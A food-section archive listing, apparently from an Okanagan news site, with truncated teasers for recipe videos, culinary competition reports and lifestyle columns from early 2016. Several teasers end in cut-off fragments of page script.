Beef Wellington

Feb 17, 2016 / 12:52 pm

This classic recipe celebrates the tender fillet of beef which Jamie Oliver encases in puff pastry with a layer of mushrooms, garlic and herbs before cooking to golden and crisp perfection. Served with a rich homemade gravy and fresh greens this dish hits the spot every time. if(navigator.userA

Pulled pork empanadas

Feb 15, 2016 / 2:04 pm

Pigs in a blanket are so last season. BBQ pulled pork empanadas are for the cool kids. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Want to get lucky?

Feb 13, 2016 / 7:00 am

Photo: Kristin Peturson-Laprise This week’s title is less than subtle, but what do you expect for the most commercialized festive occasion of them all?  Valentine’s Day falls in a season full of festivities, with Mardi Gras and Chinese New Year right next to it on the

Who's drinking what where

Feb 11, 2016 / 5:00 am

Photo: Contributed - File photo Drinkers in the Okanagan embrace the region's wine country reputation, sales data from the B.C. Liquor Distribution Branch shows. While Budweiser is by far the go-to beverage in the province, wine reigned supreme in the Central Okanagan Regional Dist

Green bean salad

Feb 10, 2016 / 4:43 pm

Gordon Ramsay blanches green beans, roasts garlic and crafts a sumptuous dressing to make this simple but elegant side dish. A luxurious and different way to eat a usually plain and forgotten ingredient.  if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Ice ball cocktail

Feb 9, 2016 / 10:13 am

Cocktail Chemistry shows how to make a really cool ice ball cocktail that needs to be cracked open with a tiny hammer when served. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Ottawa wins chefs title

Feb 7, 2016 / 7:21 am

Photo: Nicholas Johansen Marc Lepine of Ottawa took the Canadian Culinary Championships Saturday night after three days of serious competition.  Lepine finished the competition with a smoked steelhead and a pork belly dish at the grand finale event at the Delta Grand Hot

Chefs compete for gold

Feb 6, 2016 / 5:30 pm

Photo: Nicholas Johansen Chef Darren Craddock, representing Saskatoon, plates his dish as the time winds down. The best of the best Canadian chefs took to the kitchen of the Okanagan College Culinary Arts Centre Saturday for the second of three competitions at the Canadian Culinar

Making memories

Feb 6, 2016 / 7:00 am

Photo: Contributed - Kristin Peturson-Laprise Friends at the beach As you read this, I will be lounging on a beach chair, or possibly blowing bubbles 60 feet under the Caribbean Sea, as I dive with the fish.  I know, you hate me this week, because I'm on holidays. The best

Cooking up competition

Feb 4, 2016 / 5:00 am

Photo: Contributed - Okanagan College Chantelle Eustache with Chef Ryan O'Flynn as they are reunited to prepare a VIP culinary feast for the 2016 Gold Medal Plates. Too many chefs in the kitchen is actually a good thing when it comes to the annual Canadian Culinary Championships&rs

Epic chocolate cake

Feb 2, 2016 / 5:07 pm

Not a lot beats chocolate cake... especially this one. Layers of rich, moist chocolate sponge drizzled with coffee syrup and sandwiched with cocoa buttercream before finishing with a lashing of dark chocolate ganache and honeycomb. Drooling yet? Thought so! if(navigator.userAgent.toLowerCase().

Buffalo chicken poppers

Feb 1, 2016 / 1:53 pm

Lazarus makes indulgent spicy buffalo chicken poppers wrapped in bacon with blue cheese. They're great for parties or game days and only take half an hour to make. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Groundhog Day looming

Jan 30, 2016 / 2:00 pm

Photo: Kristin Peturson-Laprise Celebrate the seasons February 2 is Groundhog Day, a day made famous in pop culture by the Bill Murray movie in which he lives the day over and over again until he learns that he must make the most of what life has given him.  I thought I wo

100 cal poppadom snacks

Jan 26, 2016 / 3:54 pm

These four delicious and nutritious snacks from Jamie Oliver will satisfy your hunger at just 100 calories each. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Roasted Rolled Pork Loin

Jan 25, 2016 / 3:05 pm

Gordon Ramsay shows us how to prepare this rich and sumptuous roasted rolled pork loin with lemon and sage. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Vietnamese Spring Rolls

Jan 25, 2016 / 12:07 pm

These rice paper rolled spring rolls are super fresh and pretty healthy. With so much crispy pork, peanut, sesame, soy and pickled veg they are an absolute winner and remind us of Vietnam! if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Time to reward ourselves

Jan 23, 2016 / 10:00 pm

Photo: Contributed - Elizabeth Hachem Ready, set, splurge! I have been harping on healthy living for a couple of weeks now, so now it’s time to remember the good life. You know what they say, all work and no play makes for a dull boy - or girl. Same with food - you have to cut lo

Pizza baked potato

Jan 19, 2016 / 4:30 pm

Pepperoni pizza baked potato, because a baked potato is the perfect canvas for your next pizza creation. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Just . . . eat it!

Jan 16, 2016 / 9:55 am

Photo: Kristin Peturson-Laprise What is 'healthy eating'? Here we are, with New Year's resolutions pressuring us to be better and news items telling us we should eat better and Facebook warning us about dangerous foods to avoid.  What's a person supposed to do,

Are we getting dumber?

Jan 9, 2016 / 8:11 am

Photo: Contributed - Machacekcz I need more smart food! There are all kinds of ‘smart’ things in our world today - smart phones, smart appliances, even smart homes. I read an article this morning about a new smart fridge that is being launched at a fair in Las Vegas. T